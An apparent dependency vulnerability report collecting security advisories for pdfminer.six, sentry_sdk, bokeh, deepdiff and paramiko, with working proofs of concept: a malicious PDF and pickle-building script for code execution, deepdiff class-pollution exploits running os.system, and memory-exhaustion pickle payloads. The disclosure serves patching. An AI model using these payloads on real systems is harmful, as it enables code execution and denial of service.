pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.
### Details
```python
# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # Insufficient sanitization
filename = "%s.pickle.gz" % name
# ... path construction ...
path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
# ...
return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization
```
An attacker can:
1. Create a malicious PDF with a CMap reference like `/malicious`
2. Place a malicious pickle file at `/malicious.pickle.gz`
3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle
4. The pickle deserialization can execute arbitrary Python code
### POC
#### Malicious PDF
Create a PDF with a malicious CMAP entry:
```
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
```
Here the /Encoding points to `/pdfs/malicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `/pdfs/malicious.pdf`.
#### Malicious Pickle
Create a malicious, zipped pickle to execute. For example, with this Python script:
```python
#!/usr/bin/env python3
import pickle
import gzip
def create_demo_pickle():
print("Creating demonstration pickle file...")
# Create payload that executes code AND returns a dict (as pdfminer expects)
class EvilPayload:
def __reduce__(self):
# This function will be called during unpickling
code = "print('Malicious code executed.') or exit(0) or {}"
return (eval, (code,))
demo_cmap_data = EvilPayload()
# Create the pickle file that the path traversal would access
target_path = "./malicious.pickle.gz"
try:
with gzip.open(target_path, 'wb') as f:
pickle.dump(demo_cmap_data, f)
print(f"✓ Created demonstration pickle file: {target_path}")
return target_path
except Exception as e:
print(f"✗ Error creating pickle file: {e}")
return None
if __name__ == "__main__":
create_demo_pickle()
```
This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in `/pdfs/malicious.pickle.gz`.
#### Test
Install pdfminer.six and run `pdf2text.py /pdfs/malicious.pdf`. Instead of processing the PDF as normal you should see the output:
```
$ pdf2txt.py malicious.pdf
Malicious code executed!
```
### Impact
If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.
The difficulty in achieving this depends on the OS, see below.
#### Linux, MacOS - harder to exploit
On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing *and* the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:
* An attacker may find a way to write files to a known location on the target system or
* The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.
Overall, there is generally less risk on a Linux or Linux-like system.
#### Windows - easier to exploit
Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.
### Appendix
A complete, malicious PDF is provided here. A dockerized POC is available upon request.
```
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
>>
endobj
4 0 obj
<<
/Length 44
>>
stream
BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
endstream
endobj
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
6 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /MaliciousFont
/CIDSystemInfo
<<
/Registry (Adobe)
/Ordering (Identity)
/Supplement 0
>>
/FontDescriptor 7 0 R
>>
endobj
7 0 obj
<<
/Type /FontDescriptor
/FontName /MaliciousFont
/Flags 4
/FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0
/Ascent 1000
/Descent -200
/CapHeight 800
/StemV 80
>>
endobj
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
871
%%EOF
```
|
| sentry_sdk<=1.9.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-29pr-6jr8-q5jm | 1.14.0 | sentry |
Show details### Impact
When using the [Django integration](https://docs.sentry.io/platforms/python/guides/django/) of the Sentry SDK in a specific configuration it is possible to leak sensitive cookies values, including the session cookie to Sentry. These sensitive cookies could then be used by someone with access to your Sentry issues to impersonate or escalate their privileges within your application.
The below must be true in order for these sensitive values to be leaked:
1. Your Sentry SDK configuration has `sendDefaultPII` set to `True`
2. You are using a custom name for either of the cookies below in your Django settings.
- [`SESSION_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-SESSION_COOKIE_NAME) or
- [`CSRF_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-CSRF_COOKIE_NAME) Django settings
3. You are not configured in your organization or project settings to use [our data scrubbing features](https://docs.sentry.io/product/data-management-settings/scrubbing/) to account for the custom cookie names
### Patches
As of version `1.14.0`, the Django integration of the `sentry-sdk` will detect the custom cookie names based on your Django settings and will remove the values from the payload _before_ sending the data to Sentry.
### Workarounds
If you can not update your `sentry-sdk` to a patched version than you can use the SDKs filtering mechanism to remove the cookies from the payload that is sent to Sentry. For error events this can be done with the [before_send](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-) callback method and for performance related events (transactions) you can use the [before_send_transaction](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-transaction-) callback method.
If you'd like to handle filtering of these values on the server-side, you can also use our [advanced data scrubbing feature](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) to account for the custom cookie names. Look for the `$http.cookies`, `$http.headers`, `$request.cookies`, or `$request.headers` fields to target with your scrubbing rule.
### References
- [Using Your Tools Against You (Chapter8 Blog Post)](https://medium.com/@tomwolters/using-your-tools-against-you-cea4d2482ebb)
- [Sentry Python SDK Filtering](https://docs.sentry.io/platforms/python/configuration/filtering/)
- [Sentry Data Scrubbing](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/)
### Credits
- [Tom Wolters (Chapter8)](https://chapter8.com)
|
| GHSA-g92j-qhmh-64v2 | 2.8.0, 1.45.1 | sentry |
Show details### Impact
The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting.
### Details
In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example:
```
>>> subprocess.check_output(["env"], env={"TEST":"1"})
b'TEST=1\n'
```
If you'd want to not pass any variables, you can set an empty dict:
```
>>> subprocess.check_output(["env"], env={})
b''
```
However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default.
### Patches
The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1).
### Workarounds
We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options:
1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar.
OR
2. Disable Stdlib integration:
```
import sentry_sdk
# Should go before sentry_sdk.init
sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration")
sentry_sdk.init(...)
```
### References
* Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/)
* Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html)
* Patch https://github.com/getsentry/sentry-python/pull/3251
|
5 vulnerabilities across 3 packages, affecting 3 modules.
| bokeh==3.6.3 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-793v-589g-574v | 3.8.2 | web_widget_bokeh_chart |
Show detailsThis vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance.
### Scope
This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage.
This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks.
### Impact
If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted.
Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations.
### Patches
Patched in versions 3.8.2 and later.
### Workarounds
None
### Technical description
The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted.
Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match.
For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match:
1. `host` parts: `['example', 'com', 'bad', 'com']`
2. `pattern` parts: `['example', 'com']`
3. `zip` compares `example==example` (OK) and `com==com` (OK).
4. Iteration stops, and the function returns `True`.
|
| deepdiff<8 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-mw26-5g2v-hqw3 | 8.6.1 | l10n_es_aeat_sii_match |
Show details### Summary
[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).
The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.
Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.
### Details
The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).
When it takes a dictionary, it is usually in the following format:
```py
Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})
```
Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23
However, this code only runs when parsing the path from a string.
The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53
This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:
```py
Delta(
{
"dictionary_item_added": {
(
("root", "GETATTR"),
("__init__", "GETATTR"),
("__globals__", "GETATTR"),
("PWNED", "GET"),
): 1337
}
},
)
```
Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.
This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.
#### Using dict
Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.
However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.
Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.
### Proof of Concept
With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to `Delta` is assumed to be user-controlled.
#### Denial of Service
This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.
```py
# ------------[ Setup ]------------
import pickle
from deepdiff.helper import Opcode
pollute_int = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"dictionary_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("__builtins__", "GET"),
("int", "GET"),
): "no longer a class"
},
}
)
assert isinstance(pollute_int, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Before pollution
print(int("41") + 1)
# Apply Delta to mydict
result = mydict + Delta(pollute_int)
print(int("1337"))
```
```shell
$ python poc_dos.py
42
Traceback (most recent call last):
File "/tmp/poc_dos.py", line 43, in <module>
print(int("1337"))
TypeError: 'str' object is not callable
```
#### Remote Code Execution
This script will create a file at `/tmp/pwned` with the output of `id`.
```py
# ------------[ Setup ]------------
import os
import pickle
from deepdiff.helper import Opcode
pollute_safe_to_import = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"set_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("sys", "GET"),
("modules", "GETATTR"),
("deepdiff.serialization", "GET"),
("SAFE_TO_IMPORT", "GETATTR"),
): set(["posix.system"])
},
}
)
# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
def __reduce__(self):
cmd = "id > /tmp/pwned"
return os.system, (cmd,)
# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})
assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)
Delta(rce_pickle) # no need to apply this Delta
```
```shell
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)
```
### Who is affected?
Only applications that pass (untrusted) user input directly into `Delta` are affected.
While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.
### Mitigations
A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,
and possibly in `deepdiff.delta.Delta._get_elements_and_details`.
Example code that raises an error when traversing these properties:
```py
if elem.startswith("__") and elem.endswith("__"):
raise ValueError("traversing dunder attributes is not allowed")
```
However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
|
| PYSEC-2026-327 | 8.6.1 | l10n_es_aeat_sii_match |
Show details### Summary
[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).
The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.
Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.
### Details
The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).
When it takes a dictionary, it is usually in the following format:
```py
Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})
```
Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23
However, this code only runs when parsing the path from a string.
The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53
This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:
```py
Delta(
{
"dictionary_item_added": {
(
("root", "GETATTR"),
("__init__", "GETATTR"),
("__globals__", "GETATTR"),
("PWNED", "GET"),
): 1337
}
},
)
```
Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.
This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.
#### Using dict
Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.
However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.
Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.
### Proof of Concept
With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to `Delta` is assumed to be user-controlled.
#### Denial of Service
This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.
```py
# ------------[ Setup ]------------
import pickle
from deepdiff.helper import Opcode
pollute_int = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"dictionary_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("__builtins__", "GET"),
("int", "GET"),
): "no longer a class"
},
}
)
assert isinstance(pollute_int, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Before pollution
print(int("41") + 1)
# Apply Delta to mydict
result = mydict + Delta(pollute_int)
print(int("1337"))
```
```shell
$ python poc_dos.py
42
Traceback (most recent call last):
File "/tmp/poc_dos.py", line 43, in <module>
print(int("1337"))
TypeError: 'str' object is not callable
```
#### Remote Code Execution
This script will create a file at `/tmp/pwned` with the output of `id`.
```py
# ------------[ Setup ]------------
import os
import pickle
from deepdiff.helper import Opcode
pollute_safe_to_import = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"set_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("sys", "GET"),
("modules", "GETATTR"),
("deepdiff.serialization", "GET"),
("SAFE_TO_IMPORT", "GETATTR"),
): set(["posix.system"])
},
}
)
# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
def __reduce__(self):
cmd = "id > /tmp/pwned"
return os.system, (cmd,)
# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})
assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)
Delta(rce_pickle) # no need to apply this Delta
```
```shell
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)
```
### Who is affected?
Only applications that pass (untrusted) user input directly into `Delta` are affected.
While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.
### Mitigations
A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,
and possibly in `deepdiff.delta.Delta._get_elements_and_details`.
Example code that raises an error when traversing these properties:
```py
if elem.startswith("__") and elem.endswith("__"):
raise ValueError("traversing dunder attributes is not allowed")
```
However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
|
| GHSA-54jj-px8x-5w5q | 8.6.2 | l10n_es_aeat_sii_match |
Show details### Summary
The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.
### Details
CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.
It can be exploited in 2 ways.
**1 - During `pickle_load`**
A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.
```
GLOBAL builtins.bytes (passes find_class check — serialization.py:353)
INT 10000000000 (10 billion)
TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB
```
**2 - During delta application**
A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.
### PoC
The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.
```python
import resource
import sys
def limit_memory(maxsize_mb):
"""Cap virtual memory for this process."""
soft, hard = resource.getrlimit(resource.RLIMIT_AS)
maxsize_bytes = maxsize_mb * 1024 * 1024
try:
resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
print(f"[*] Memory limit set to {maxsize_mb} MB")
except ValueError:
print("[!] Failed to set memory limit.")
sys.exit(1)
# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load
limit_memory(1024)
# --- Delta application path ---
payload_dict = {
'values_changed': {"root['x']": {'new_value': 10**8}},
'type_changes': {"root['x']": {'new_type': bytes}},
}
payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")
target = {'x': 'anything'}
try:
result = target + Delta(payload1)
print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
# --- Raw pickle path ---
payload2 = (
b"(dp0\n"
b"S'_'\n"
b"cbuiltins\nbytes\n"
b"(I100000000\n"
b"tR"
b"s."
)
print(f"Payload size: {len(payload2)} bytes")
try:
result2 = pickle_load(payload2)
print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
```
Output:
```
[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB
```
### Impact
Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.
The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.
Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
|
| paramiko<4.0.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-r374-rxx8-8654 | auto_backup |
Show detailsIn Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.
|
|